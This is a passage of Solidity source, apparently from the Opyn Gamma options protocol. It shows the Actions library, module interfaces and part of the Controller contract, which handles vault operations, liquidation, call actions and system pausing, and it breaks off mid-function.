_collateralAsset; } } /** * @dev decrease the collateral balance in a vault * @param _vault vault to remove collateral from * @param _collateralAsset address of the _collateralAsset being removed from the user's vault * @param _amount number of _collateralAsset being removed from the user's vault * @param _index index of _collateralAsset in the user's vault.collateralAssets array */ function removeCollateral( Vault storage _vault, address _collateralAsset, uint256 _amount, uint256 _index ) external { // check that the removed collateral exists in the vault at the specified index require(_index < _vault.collateralAssets.length, "V8"); require(_vault.collateralAssets[_index] == _collateralAsset, "V9"); uint256 newCollateralAmount = _vault.collateralAmounts[_index].sub(_amount); if (newCollateralAmount == 0) { delete _vault.collateralAssets[_index]; } _vault.collateralAmounts[_index] = newCollateralAmount; } } // File: contracts/libs/Actions.sol /** * @title Actions * @author Opyn Team * @notice A library that provides a ActionArgs struct, sub types of Action structs, and functions to parse ActionArgs into specific Actions. * errorCode * A1 can only parse arguments for open vault actions * A2 cannot open vault for an invalid account * A3 cannot open vault with an invalid type * A4 can only parse arguments for mint actions * A5 cannot mint from an invalid account * A6 can only parse arguments for burn actions * A7 cannot burn from an invalid account * A8 can only parse arguments for deposit actions * A9 cannot deposit to an invalid account * A10 can only parse arguments for withdraw actions * A11 cannot withdraw from an invalid account * A12 cannot withdraw to an invalid account * A13 can only parse arguments for redeem actions * A14 cannot redeem to an invalid account * A15 can only parse arguments for settle vault actions * A16 cannot settle vault for an invalid account * A17 cannot withdraw payout to an invalid account * A18 can only parse arguments for liquidate action * A19 cannot liquidate vault for an invalid account owner * A20 cannot send collateral to an invalid account * A21 cannot parse liquidate action with no round id * A22 can only parse arguments for call actions * A23 target address cannot be address(0) */ library Actions { // possible actions that can be performed enum ActionType { OpenVault, MintShortOption, BurnShortOption, DepositLongOption, WithdrawLongOption, DepositCollateral, WithdrawCollateral, SettleVault, Redeem, Call, Liquidate } struct ActionArgs { // type of action that is being performed on the system ActionType actionType; // address of the account owner address owner; // address which we move assets from or to (depending on the action type) address secondAddress; // asset that is to be transfered address asset; // index of the vault that is to be modified (if any) uint256 vaultId; // amount of asset that is to be transfered uint256 amount; // each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version // in future versions this would be the index of the short / long / collateral asset that needs to be modified uint256 index; // any other data that needs to be passed in for arbitrary function calls bytes data; } struct MintArgs { // address of the account owner address owner; // index of the vault from which the asset will be minted uint256 vaultId; // address to which we transfer the minted oTokens address to; // oToken that is to be minted address otoken; // each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version // in future versions this would be the index of the short / long / collateral asset that needs to be modified uint256 index; // amount of oTokens that is to be minted uint256 amount; } struct BurnArgs { // address of the account owner address owner; // index of the vault from which the oToken will be burned uint256 vaultId; // address from which we transfer the oTokens address from; // oToken that is to be burned address otoken; // each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version // in future versions this would be the index of the short / long / collateral asset that needs to be modified uint256 index; // amount of oTokens that is to be burned uint256 amount; } struct OpenVaultArgs { // address of the account owner address owner; // vault id to create uint256 vaultId; // vault type, 0 for spread/max loss and 1 for naked margin vault uint256 vaultType; } struct DepositArgs { // address of the account owner address owner; // index of the vault to which the asset will be added uint256 vaultId; // address from which we transfer the asset address from; // asset that is to be deposited address asset; // each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version // in future versions this would be the index of the short / long / collateral asset that needs to be modified uint256 index; // amount of asset that is to be deposited uint256 amount; } struct RedeemArgs { // address to which we pay out the oToken proceeds address receiver; // oToken that is to be redeemed address otoken; // amount of oTokens that is to be redeemed uint256 amount; } struct WithdrawArgs { // address of the account owner address owner; // index of the vault from which the asset will be withdrawn uint256 vaultId; // address to which we transfer the asset address to; // asset that is to be withdrawn address asset; // each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version // in future versions this would be the index of the short / long / collateral asset that needs to be modified uint256 index; // amount of asset that is to be withdrawn uint256 amount; } struct SettleVaultArgs { // address of the account owner address owner; // index of the vault to which is to be settled uint256 vaultId; // address to which we transfer the remaining collateral address to; } struct LiquidateArgs { // address of the vault owner to liquidate address owner; // address of the liquidated collateral receiver address receiver; // vault id to liquidate uint256 vaultId; // amount of debt(otoken) to repay uint256 amount; // chainlink round id uint256 roundId; } struct CallArgs { // address of the callee contract address callee; // data field for external calls bytes data; } /** * @notice parses the passed in action arguments to get the arguments for an open vault action * @param _args general action arguments structure * @return arguments for a open vault action */ function _parseOpenVaultArgs(ActionArgs memory _args) internal pure returns (OpenVaultArgs memory) { require(_args.actionType == ActionType.OpenVault, "A1"); require(_args.owner != address(0), "A2"); // if not _args.data included, vault type will be 0 by default uint256 vaultType; if (_args.data.length == 32) { // decode vault type from _args.data vaultType = abi.decode(_args.data, (uint256)); } // for now we only have 2 vault types require(vaultType < 2, "A3"); return OpenVaultArgs({owner: _args.owner, vaultId: _args.vaultId, vaultType: vaultType}); } /** * @notice parses the passed in action arguments to get the arguments for a mint action * @param _args general action arguments structure * @return arguments for a mint action */ function _parseMintArgs(ActionArgs memory _args) internal pure returns (MintArgs memory) { require(_args.actionType == ActionType.MintShortOption, "A4"); require(_args.owner != address(0), "A5"); return MintArgs({ owner: _args.owner, vaultId: _args.vaultId, to: _args.secondAddress, otoken: _args.asset, index: _args.index, amount: _args.amount }); } /** * @notice parses the passed in action arguments to get the arguments for a burn action * @param _args general action arguments structure * @return arguments for a burn action */ function _parseBurnArgs(ActionArgs memory _args) internal pure returns (BurnArgs memory) { require(_args.actionType == ActionType.BurnShortOption, "A6"); require(_args.owner != address(0), "A7"); return BurnArgs({ owner: _args.owner, vaultId: _args.vaultId, from: _args.secondAddress, otoken: _args.asset, index: _args.index, amount: _args.amount }); } /** * @notice parses the passed in action arguments to get the arguments for a deposit action * @param _args general action arguments structure * @return arguments for a deposit action */ function _parseDepositArgs(ActionArgs memory _args) internal pure returns (DepositArgs memory) { require( (_args.actionType == ActionType.DepositLongOption) || (_args.actionType == ActionType.DepositCollateral), "A8" ); require(_args.owner != address(0), "A9"); return DepositArgs({ owner: _args.owner, vaultId: _args.vaultId, from: _args.secondAddress, asset: _args.asset, index: _args.index, amount: _args.amount }); } /** * @notice parses the passed in action arguments to get the arguments for a withdraw action * @param _args general action arguments structure * @return arguments for a withdraw action */ function _parseWithdrawArgs(ActionArgs memory _args) internal pure returns (WithdrawArgs memory) { require( (_args.actionType == ActionType.WithdrawLongOption) || (_args.actionType == ActionType.WithdrawCollateral), "A10" ); require(_args.owner != address(0), "A11"); require(_args.secondAddress != address(0), "A12"); return WithdrawArgs({ owner: _args.owner, vaultId: _args.vaultId, to: _args.secondAddress, asset: _args.asset, index: _args.index, amount: _args.amount }); } /** * @notice parses the passed in action arguments to get the arguments for an redeem action * @param _args general action arguments structure * @return arguments for a redeem action */ function _parseRedeemArgs(ActionArgs memory _args) internal pure returns (RedeemArgs memory) { require(_args.actionType == ActionType.Redeem, "A13"); require(_args.secondAddress != address(0), "A14"); return RedeemArgs({receiver: _args.secondAddress, otoken: _args.asset, amount: _args.amount}); } /** * @notice parses the passed in action arguments to get the arguments for a settle vault action * @param _args general action arguments structure * @return arguments for a settle vault action */ function _parseSettleVaultArgs(ActionArgs memory _args) internal pure returns (SettleVaultArgs memory) { require(_args.actionType == ActionType.SettleVault, "A15"); require(_args.owner != address(0), "A16"); require(_args.secondAddress != address(0), "A17"); return SettleVaultArgs({owner: _args.owner, vaultId: _args.vaultId, to: _args.secondAddress}); } function _parseLiquidateArgs(ActionArgs memory _args) internal pure returns (LiquidateArgs memory) { require(_args.actionType == ActionType.Liquidate, "A18"); require(_args.owner != address(0), "A19"); require(_args.secondAddress != address(0), "A20"); require(_args.data.length == 32, "A21"); // decode chainlink round id from _args.data uint256 roundId = abi.decode(_args.data, (uint256)); return LiquidateArgs({ owner: _args.owner, receiver: _args.secondAddress, vaultId: _args.vaultId, amount: _args.amount, roundId: roundId }); } /** * @notice parses the passed in action arguments to get the arguments for a call action * @param _args general action arguments structure * @return arguments for a call action */ function _parseCallArgs(ActionArgs memory _args) internal pure returns (CallArgs memory) { require(_args.actionType == ActionType.Call, "A22"); require(_args.secondAddress != address(0), "A23"); return CallArgs({callee: _args.secondAddress, data: _args.data}); } } // File: contracts/interfaces/AddressBookInterface.sol interface AddressBookInterface { /* Getters */ function getOtokenImpl() external view returns (address); function getOtokenFactory() external view returns (address); function getWhitelist() external view returns (address); function getController() external view returns (address); function getOracle() external view returns (address); function getMarginPool() external view returns (address); function getMarginCalculator() external view returns (address); function getLiquidationManager() external view returns (address); function getAddress(bytes32 _id) external view returns (address); /* Setters */ function setOtokenImpl(address _otokenImpl) external; function setOtokenFactory(address _factory) external; function setOracleImpl(address _otokenImpl) external; function setWhitelist(address _whitelist) external; function setController(address _controller) external; function setMarginPool(address _marginPool) external; function setMarginCalculator(address _calculator) external; function setLiquidationManager(address _liquidationManager) external; function setAddress(bytes32 _id, address _newImpl) external; } // File: contracts/interfaces/OtokenInterface.sol interface OtokenInterface { function addressBook() external view returns (address); function underlyingAsset() external view returns (address); function strikeAsset() external view returns (address); function collateralAsset() external view returns (address); function strikePrice() external view returns (uint256); function expiryTimestamp() external view returns (uint256); function isPut() external view returns (bool); function init( address _addressBook, address _underlyingAsset, address _strikeAsset, address _collateralAsset, uint256 _strikePrice, uint256 _expiry, bool _isPut ) external; function getOtokenDetails() external view returns ( address, address, address, uint256, uint256, bool ); function mintOtoken(address account, uint256 amount) external; function burnOtoken(address account, uint256 amount) external; } // File: contracts/interfaces/MarginCalculatorInterface.sol interface MarginCalculatorInterface { function addressBook() external view returns (address); function getExpiredPayoutRate(address _otoken) external view returns (uint256); function getExcessCollateral(MarginVault.Vault calldata _vault, uint256 _vaultType) external view returns (uint256 netValue, bool isExcess); function isLiquidatable( MarginVault.Vault memory _vault, uint256 _vaultType, uint256 _vaultLatestUpdate, uint256 _roundId ) external view returns ( bool, uint256, uint256 ); } // File: contracts/interfaces/OracleInterface.sol interface OracleInterface { function isLockingPeriodOver(address _asset, uint256 _expiryTimestamp) external view returns (bool); function isDisputePeriodOver(address _asset, uint256 _expiryTimestamp) external view returns (bool); function getExpiryPrice(address _asset, uint256 _expiryTimestamp) external view returns (uint256, bool); function getDisputer() external view returns (address); function getPricer(address _asset) external view returns (address); function getPrice(address _asset) external view returns (uint256); function getPricerLockingPeriod(address _pricer) external view returns (uint256); function getPricerDisputePeriod(address _pricer) external view returns (uint256); function getChainlinkRoundData(address _asset, uint80 _roundId) external view returns (uint256, uint256); // Non-view function function setAssetPricer(address _asset, address _pricer) external; function setLockingPeriod(address _pricer, uint256 _lockingPeriod) external; function setDisputePeriod(address _pricer, uint256 _disputePeriod) external; function setExpiryPrice( address _asset, uint256 _expiryTimestamp, uint256 _price ) external; function disputeExpiryPrice( address _asset, uint256 _expiryTimestamp, uint256 _price ) external; function setDisputer(address _disputer) external; } // File: contracts/interfaces/WhitelistInterface.sol interface WhitelistInterface { /* View functions */ function addressBook() external view returns (address); function isWhitelistedProduct( address _underlying, address _strike, address _collateral, bool _isPut ) external view returns (bool); function isWhitelistedCollateral(address _collateral) external view returns (bool); function isWhitelistedOtoken(address _otoken) external view returns (bool); function isWhitelistedCallee(address _callee) external view returns (bool); /* Admin / factory only functions */ function whitelistProduct( address _underlying, address _strike, address _collateral, bool _isPut ) external; function blacklistProduct( address _underlying, address _strike, address _collateral, bool _isPut ) external; function whitelistCollateral(address _collateral) external; function blacklistCollateral(address _collateral) external; function whitelistOtoken(address _otoken) external; function blacklistOtoken(address _otoken) external; function whitelistCallee(address _callee) external; function blacklistCallee(address _callee) external; } // File: contracts/interfaces/MarginPoolInterface.sol interface MarginPoolInterface { /* Getters */ function addressBook() external view returns (address); function farmer() external view returns (address); function getStoredBalance(address _asset) external view returns (uint256); /* Admin-only functions */ function setFarmer(address _farmer) external; function farm( address _asset, address _receiver, uint256 _amount ) external; /* Controller-only functions */ function transferToPool( address _asset, address _user, uint256 _amount ) external; function transferToUser( address _asset, address _user, uint256 _amount ) external; function batchTransferToPool( address[] calldata _asset, address[] calldata _user, uint256[] calldata _amount ) external; function batchTransferToUser( address[] calldata _asset, address[] calldata _user, uint256[] calldata _amount ) external; } // File: contracts/interfaces/CalleeInterface.sol /** * @dev Contract interface that can be called from Controller as a call action. */ interface CalleeInterface { /** * Allows users to send this contract arbitrary data. * @param _sender The msg.sender to Controller * @param _data Arbitrary data given by the sender */ function callFunction(address payable _sender, bytes memory _data) external; } // File: contracts/core/Controller.sol /** * Controller Error Codes * C1: sender is not full pauser * C2: sender is not partial pauser * C3: callee is not a whitelisted address * C4: system is partially paused * C5: system is fully paused * C6: msg.sender is not authorized to run action * C7: invalid addressbook address * C8: invalid owner address * C9: invalid input * C10: fullPauser cannot be set to address zero * C11: partialPauser cannot be set to address zero * C12: can not run actions for different owners * C13: can not run actions on different vaults * C14: invalid final vault state * C15: can not run actions on inexistent vault * C16: cannot deposit long otoken from this address * C17: otoken is not whitelisted to be used as collateral * C18: otoken used as collateral is already expired * C19: can not withdraw an expired otoken * C20: cannot deposit collateral from this address * C21: asset is not whitelisted to be used as collateral * C22: can not withdraw collateral from a vault with an expired short otoken * C23: otoken is not whitelisted to be minted * C24: can not mint expired otoken * C25: cannot burn from this address * C26: can not burn expired otoken * C27: otoken is not whitelisted to be redeemed * C28: can not redeem un-expired otoken * C29: asset prices not finalized yet * C30: can't settle vault with no otoken * C31: can not settle vault with un-expired otoken * C32: can not settle undercollateralized vault * C33: can not liquidate vault * C34: can not leave less than collateral dust * C35: invalid vault id * C36: cap amount should be greater than zero * C37: collateral exceed naked margin cap */ /** * @title Controller * @author Opyn Team * @notice Contract that controls the Gamma Protocol and the interaction of all sub contracts */ contract Controller is Initializable, OwnableUpgradeSafe, ReentrancyGuardUpgradeSafe { using MarginVault for MarginVault.Vault; using SafeMath for uint256; AddressBookInterface public addressbook; WhitelistInterface public whitelist; OracleInterface public oracle; MarginCalculatorInterface public calculator; MarginPoolInterface public pool; ///@dev scale used in MarginCalculator uint256 internal constant BASE = 8; /// @notice address that has permission to partially pause the system, where system functionality is paused /// except redeem and settleVault address public partialPauser; /// @notice address that has permission to fully pause the system, where all system functionality is paused address public fullPauser; /// @notice True if all system functionality is paused other than redeem and settle vault bool public systemPartiallyPaused; /// @notice True if all system functionality is paused bool public systemFullyPaused; /// @notice True if a call action can only be executed to a whitelisted callee bool public callRestricted; /// @dev mapping between an owner address and the number of owner address vaults mapping(address => uint256) internal accountVaultCounter; /// @dev mapping between an owner address and a specific vault using a vault id mapping(address => mapping(uint256 => MarginVault.Vault)) internal vaults; /// @dev mapping between an account owner and their approved or unapproved account operators mapping(address => mapping(address => bool)) internal operators; /******************************************************************** V2.0.0 storage upgrade ******************************************************/ /// @dev mapping to map vault by each vault type, naked margin vault should be set to 1, spread/max loss vault should be set to 0 mapping(address => mapping(uint256 => uint256)) internal vaultType; /// @dev mapping to store the timestamp at which the vault was last updated, will be updated in every action that changes the vault state or when calling sync() mapping(address => mapping(uint256 => uint256)) internal vaultLatestUpdate; /// @dev mapping to store cap amount for naked margin vault per options collateral asset (scaled by collateral asset decimals) mapping(address => uint256) internal nakedCap; /// @dev mapping to store amount of naked margin vaults in pool mapping(address => uint256) internal nakedPoolBalance; /// @notice emits an event when an account operator is updated for a specific account owner event AccountOperatorUpdated(address indexed accountOwner, address indexed operator, bool isSet); /// @notice emits an event when a new vault is opened event VaultOpened(address indexed accountOwner, uint256 vaultId, uint256 indexed vaultType); /// @notice emits an event when a long oToken is deposited into a vault event LongOtokenDeposited( address indexed otoken, address indexed accountOwner, address indexed from, uint256 vaultId, uint256 amount ); /// @notice emits an event when a long oToken is withdrawn from a vault event LongOtokenWithdrawed( address indexed otoken, address indexed AccountOwner, address indexed to, uint256 vaultId, uint256 amount ); /// @notice emits an event when a collateral asset is deposited into a vault event CollateralAssetDeposited( address indexed asset, address indexed accountOwner, address indexed from, uint256 vaultId, uint256 amount ); /// @notice emits an event when a collateral asset is withdrawn from a vault event CollateralAssetWithdrawed( address indexed asset, address indexed AccountOwner, address indexed to, uint256 vaultId, uint256 amount ); /// @notice emits an event when a short oToken is minted from a vault event ShortOtokenMinted( address indexed otoken, address indexed AccountOwner, address indexed to, uint256 vaultId, uint256 amount ); /// @notice emits an event when a short oToken is burned event ShortOtokenBurned( address indexed otoken, address indexed AccountOwner, address indexed from, uint256 vaultId, uint256 amount ); /// @notice emits an event when an oToken is redeemed event Redeem( address indexed otoken, address indexed redeemer, address indexed receiver, address collateralAsset, uint256 otokenBurned, uint256 payout ); /// @notice emits an event when a vault is settled event VaultSettled( address indexed accountOwner, address indexed oTokenAddress, address to, uint256 payout, uint256 vaultId, uint256 indexed vaultType ); /// @notice emits an event when a vault is liquidated event VaultLiquidated( address indexed liquidator, address indexed receiver, address indexed vaultOwner, uint256 auctionPrice, uint256 auctionStartingRound, uint256 collateralPayout, uint256 debtAmount, uint256 vaultId ); /// @notice emits an event when a call action is executed event CallExecuted(address indexed from, address indexed to, bytes data); /// @notice emits an event when the fullPauser address changes event FullPauserUpdated(address indexed oldFullPauser, address indexed newFullPauser); /// @notice emits an event when the partialPauser address changes event PartialPauserUpdated(address indexed oldPartialPauser, address indexed newPartialPauser); /// @notice emits an event when the system partial paused status changes event SystemPartiallyPaused(bool isPaused); /// @notice emits an event when the system fully paused status changes event SystemFullyPaused(bool isPaused); /// @notice emits an event when the call action restriction changes event CallRestricted(bool isRestricted); /// @notice emits an event when a donation transfer executed event Donated(address indexed donator, address indexed asset, uint256 amount); /// @notice emits an event when naked cap is updated event NakedCapUpdated(address indexed collateral, uint256 cap); /** * @notice modifier to check if the system is not partially paused, where only redeem and settleVault is allowed */ modifier notPartiallyPaused() { _isNotPartiallyPaused(); _; } /** * @notice modifier to check if the system is not fully paused, where no functionality is allowed */ modifier notFullyPaused() { _isNotFullyPaused(); _; } /** * @notice modifier to check if sender is the fullPauser address */ modifier onlyFullPauser() { require(msg.sender == fullPauser, "C1"); _; } /** * @notice modifier to check if the sender is the partialPauser address */ modifier onlyPartialPauser() { require(msg.sender == partialPauser, "C2"); _; } /** * @notice modifier to check if the sender is the account owner or an approved account operator * @param _sender sender address * @param _accountOwner account owner address */ modifier onlyAuthorized(address _sender, address _accountOwner) { _isAuthorized(_sender, _accountOwner); _; } /** * @notice modifier to check if the called address is a whitelisted callee address * @param _callee called address */ modifier onlyWhitelistedCallee(address _callee) { if (callRestricted) { require(_isCalleeWhitelisted(_callee), "C3"); } _; } /** * @dev check if the system is not in a partiallyPaused state */ function _isNotPartiallyPaused() internal view { require(!systemPartiallyPaused, "C4"); } /** * @dev check if the system is not in an fullyPaused state */ function _isNotFullyPaused() internal view { require(!systemFullyPaused, "C5"); } /** * @dev check if the sender is an authorized operator * @param _sender msg.sender * @param _accountOwner owner of a vault */ function _isAuthorized(address _sender, address _accountOwner) internal view { require((_sender == _accountOwner) || (operators[_accountOwner][_sender]), "C6"); } /** * @notice initalize the deployed contract * @param _addressBook addressbook module * @param _owner account owner address */ function initialize(address _addressBook, address _owner) external initializer { require(_addressBook != address(0), "C7"); require(_owner != address(0), "C8"); __Ownable_init(_owner); __ReentrancyGuard_init_unchained(); addressbook = AddressBookInterface(_addressBook); _refreshConfigInternal(); callRestricted = true; } /** * @notice send asset amount to margin pool * @dev use donate() instead of direct transfer() to store the balance in assetBalance * @param _asset asset address * @param _amount amount to donate to pool */ function donate(address _asset, uint256 _amount) external { pool.transferToPool(_asset, msg.sender, _amount); emit Donated(msg.sender, _asset, _amount); } /** * @notice allows the partialPauser to toggle the systemPartiallyPaused variable and partially pause or partially unpause the system * @dev can only be called by the partialPauser * @param _partiallyPaused new boolean value to set systemPartiallyPaused to */ function setSystemPartiallyPaused(bool _partiallyPaused) external onlyPartialPauser { require(systemPartiallyPaused != _partiallyPaused, "C9"); systemPartiallyPaused = _partiallyPaused; emit SystemPartiallyPaused(systemPartiallyPaused); } /** * @notice allows the fullPauser to toggle the systemFullyPaused variable and fully pause or fully unpause the system * @dev can only be called by the fullyPauser * @param _fullyPaused new boolean value to set systemFullyPaused to */ function setSystemFullyPaused(bool _fullyPaused) external onlyFullPauser { require(systemFullyPaused != _fullyPaused, "C9"); systemFullyPaused = _fullyPaused; emit SystemFullyPaused(systemFullyPaused); } /** * @notice allows the owner to set the fullPauser address * @dev can only be called by the owner * @param _fullPauser new fullPauser address */ function setFullPauser(address _fullPauser) external onlyOwner { require(_fullPauser != address(0), "C10"); require(fullPauser != _fullPauser, "C9"); emit FullPauserUpdated(fullPauser, _fullPauser); fullPauser = _fullPauser; } /** * @notice allows the owner to set the partialPauser address * @dev can only be called by the owner * @param _partialPauser new partialPauser address */ function setPartialPauser(address _partialPauser) external onlyOwner { require(_partialPauser != address(0), "C11"); require(partialPauser != _partialPauser, "C9"); emit PartialPauserUpdated(partialPauser, _partialPauser); partialPauser = _partialPauser; } /** * @notice allows the owner to toggle the restriction on whitelisted call actions and only allow whitelisted * call addresses or allow any arbitrary call addresses * @dev can only be called by the owner * @param _isRestricted new call restriction state */ function setCallRestriction(bool _isRestricted) external onlyOwner { require(callRestricted != _isRestricted, "C9"); callRestricted = _isRestricted; emit CallRestricted(callRestricted); } /** * @notice allows a user to give or revoke privileges to an operator which can act on their behalf on their vaults * @dev can only be updated by the vault owner * @param _operator operator that the sender wants to give privileges to or revoke them from * @param _isOperator new boolean value that expresses if the sender is giving or revoking privileges for _operator */ function setOperator(address _operator, bool _isOperator) external { require(operators[msg.sender][_operator] != _isOperator, "C9"); operators[msg.sender][_operator] = _isOperator; emit AccountOperatorUpdated(msg.sender, _operator, _isOperator); } /** * @dev updates the configuration of the controller. can only be called by the owner */ function refreshConfiguration() external onlyOwner { _refreshConfigInternal(); } /** * @notice set cap amount for collateral asset used in naked margin * @dev can only be called by owner * @param _collateral collateral asset address * @param _cap cap amount, should be scaled by collateral asset decimals */ function setNakedCap(address _collateral, uint256 _cap) external onlyOwner { require(_cap > 0, "C36"); nakedCap[_collateral] = _cap; emit NakedCapUpdated(_collateral, _cap); } /** * @notice execute a number of actions on specific vaults * @dev can only be called when the system is not fully paused * @param _actions array of actions arguments */ function operate(Actions.ActionArgs[] memory _actions) external nonReentrant notFullyPaused { (bool vaultUpdated, address vaultOwner, uint256 vaultId) = _runActions(_actions); if (vaultUpdated) { _verifyFinalState(vaultOwner, vaultId); vaultLatestUpdate[vaultOwner][vaultId] = now; } } /** * @notice sync vault latest update timestamp * @dev anyone can update the latest time the vault was touched by calling this function * vaultLatestUpdate will sync if the vault is well collateralized * @param _owner vault owner address * @param _vaultId vault id */ function sync(address _owner, uint256 _vaultId) external nonReentrant notFullyPaused { _verifyFinalState(_owner, _vaultId); vaultLatestUpdate[_owner][_vaultId] = now; } /** * @notice check if a specific address is an operator for an owner account * @param _owner account owner address * @param _operator account operator address * @return True if the _operator is an approved operator for the _owner account */ function isOperator(address _owner, address _operator) external view returns (bool) { return operators[_owner][_operator]; } /** * @notice returns the current controller configuration * @return whitelist, the address of the whitelist module * @return oracle, the address of the oracle module * @return calculator, the address of the calculator module * @return pool, the address of the pool module */ function getConfiguration() external view returns ( address, address, address, address ) { return (address(whitelist), address(oracle), address(calculator), address(pool)); } /** * @notice return a vault's proceeds pre or post expiry, the amount of collateral that can be removed from a vault * @param _owner account owner of the vault * @param _vaultId vaultId to return balances for * @return amount of collateral that can be taken out */ function getProceed(address _owner, uint256 _vaultId) external view returns (uint256) { (MarginVault.Vault memory vault, uint256 typeVault, ) = getVaultWithDetails(_owner, _vaultId); (uint256 netValue, bool isExcess) = calculator.getExcessCollateral(vault, typeVault); if (!isExcess) return 0; return netValue; } /** * @notice check if a vault is liquidatable in a specific round id * @param _owner vault owner address * @param _vaultId vault id to check * @param _roundId chainlink round id to check vault status at * @return isUnderCollat, true if vault is undercollateralized, the price of 1 repaid otoken and the otoken collateral dust amount */ function isLiquidatable( address _owner, uint256 _vaultId, uint256 _roundId ) external view returns ( bool, uint256, uint256 ) { (, bool isUnderCollat, uint256 price, uint256 dust) = _isLiquidatable(_owner, _vaultId, _roundId); return (isUnderCollat, price, dust); } /** * @notice get an oToken's payout/cash value after expiry, in the collateral asset * @param _otoken oToken address * @param _amount amount of the oToken to calculate the payout for, always represented in 1e8 * @return amount of collateral to pay out */ function getPayout(address _otoken, uint256 _amount) public view returns (uint256) { return calculator.getExpiredPayoutRate(_otoken).mul(_amount).div(10**BASE); } /** * @dev return if an expired oToken is ready to be settled, only true when price for underlying, * strike and collateral assets at this specific expiry is available in our Oracle module * @param _otoken oToken */ function isSettlementAllowed(address _otoken) external view returns (bool) { (address underlying, address strike, address collateral, uint256 expiry) = _getOtokenDetails(_otoken); return _canSettleAssets(underlying, strike, collateral, expiry); } /** * @dev return if underlying, strike, collateral are all allowed to be settled * @param _underlying oToken underlying asset * @param _strike oToken strike asset * @param _collateral oToken collateral asset * @param _expiry otoken expiry timestamp * @return True if the oToken has expired AND all oracle prices at the expiry timestamp have been finalized, False if not */ function canSettleAssets( address _underlying, address _strike, address _collateral, uint256 _expiry ) external view returns (bool) { return _canSettleAssets(_underlying, _strike, _collateral, _expiry); } /** * @notice get the number of vaults for a specified account owner * @param _accountOwner account owner address * @return number of vaults */ function getAccountVaultCounter(address _accountOwner) external view returns (uint256) { return accountVaultCounter[_accountOwner]; } /** * @notice check if an oToken has expired * @param _otoken oToken address * @return True if the otoken has expired, False if not */ function hasExpired(address _otoken) external view returns (bool) { return now >= OtokenInterface(_otoken).expiryTimestamp(); } /** * @notice return a specific vault * @param _owner account owner * @param _vaultId vault id of vault to return * @return Vault struct that corresponds to the _vaultId of _owner */ function getVault(address _owner, uint256 _vaultId) external view returns (MarginVault.Vault memory) { return (vaults[_owner][_vaultId]); } /** * @notice return a specific vault * @param _owner account owner * @param _vaultId vault id of vault to return * @return Vault struct that corresponds to the _vaultId of _owner, vault type and the latest timestamp when the vault was updated */ function getVaultWithDetails(address _owner, uint256 _vaultId) public view returns ( MarginVault.Vault memory, uint256, uint256 ) { return (vaults[_owner][_vaultId], vaultType[_owner][_vaultId], vaultLatestUpdate[_owner][_vaultId]); } /** * @notice get cap amount for collateral asset * @param _asset collateral asset address * @return cap amount */ function getNakedCap(address _asset) external view returns (uint256) { return nakedCap[_asset]; } /** * @notice get amount of collateral deposited in all naked margin vaults * @param _asset collateral asset address * @return naked pool balance */ function getNakedPoolBalance(address _asset) external view returns (uint256) { return nakedPoolBalance[_asset]; } /** * @notice execute a variety of actions * @dev for each action in the action array, execute the corresponding action, only one vault can be modified * for all actions except SettleVault, Redeem, and Call * @param _actions array of type Actions.ActionArgs[], which expresses which actions the user wants to execute * @return vaultUpdated, indicates if a vault has changed * @return owner, the vault owner if a vault has changed * @return vaultId, the vault Id if a vault has changed */ function _runActions(Actions.ActionArgs[] memory _actions) internal returns ( bool, address, uint256 ) { address vaultOwner; uint256 vaultId; bool vaultUpdated; for (uint256 i = 0; i < _actions.length; i++) { Actions.ActionArgs memory action = _actions[i]; Actions.ActionType actionType = action.actionType; // actions except Settle, Redeem, Liquidate and Call are "Vault-updating actinos" // only allow update 1 vault in each operate call if ( (actionType != Actions.ActionType.SettleVault) && (actionType != Actions.ActionType.Redeem) && (actionType != Actions.ActionType.Liquidate) && (actionType != Actions.ActionType.Call) ) { // check if this action is manipulating the same vault as all other actions, if a vault has already been updated if (vaultUpdated) { require(vaultOwner == action.owner, "C12"); require(vaultId == action.vaultId, "C13"); } vaultUpdated = true; vaultId = action.vaultId; vaultOwner = action.owner; } if (actionType == Actions.ActionType.OpenVault) { _openVault(Actions._parseOpenVaultArgs(action)); } else if (actionType == Actions.ActionType.DepositLongOption) { _depositLong(Actions._parseDepositArgs(action)); } else if (actionType == Actions.ActionType.WithdrawLongOption) { _withdrawLong(Actions._parseWithdrawArgs(action)); } else if (actionType == Actions.ActionType.DepositCollateral) { _depositCollateral(Actions._parseDepositArgs(action)); } else if (actionType == Actions.ActionType.WithdrawCollateral) { _withdrawCollateral(Actions._parseWithdrawArgs(action)); } else if (actionType == Actions.ActionType.MintShortOption) { _mintOtoken(Actions._parseMintArgs(action)); } else if (actionType == Actions.ActionType.BurnShortOption) { _burnOtoken(Actions._parseBurnArgs(action)); } else if (actionType == Actions.ActionType.Redeem) { _redeem(Actions._parseRedeemArgs(action)); } else if (actionType == Actions.ActionType.SettleVault) { _settleVault(Actions._parseSettleVaultArgs(action)); } else if (actionType == Actions.ActionType.Liquidate) { _liquidate(Actions._parseLiquidateArgs(action)); } else if (actionType == Actions.ActionType.Call) { _call(Actions._parseCallArgs(action)); } } return (vaultUpdated, vaultOwner, vaultId); } /** * @notice verify the vault final state after executing all actions * @param _owner account owner address * @param _vaultId vault id of the final vault */ function _verifyFinalState(address _owner, uint256 _vaultId) internal view { (MarginVault.Vault memory vault, uint256 typeVault, ) = getVaultWithDetails(_owner, _vaultId); (, bool isValidVault) = calculator.getExcessCollateral(vault, typeVault); require(isValidVault, "C14"); } /** * @notice open a new vault inside an account * @dev only the account owner or operator can open a vault, cannot be called when system is partiallyPaused or fullyPaused * @param _args OpenVaultArgs structure */ function _openVault(Actions.OpenVaultArgs memory _args) internal notPartiallyPaused onlyAuthorized(msg.sender, _args.owner) { uint256 vaultId = accountVaultCounter[_args.owner].add(1); require(_args.vaultId == vaultId, "C15"); // store new vault accountVaultCounter[_args.owner] = vaultId; vaultType[_args.owner][vaultId] = _args.vaultType; emit VaultOpened(_args.owner, vaultId, _args.vaultType); } /** * @notice deposit a long oToken into a vault * @dev only the account owner or operator can deposit a long oToken, cannot be called when system is partiallyPaused or fullyPaused * @param _args DepositArgs structure */ function _depositLong(Actions.DepositArgs memory _args) internal notPartiallyPaused onlyAuthorized(msg.sender, _args.owner) { require(_checkVaultId(_args.owner, _args.vaultId), "C35"); // only allow vault 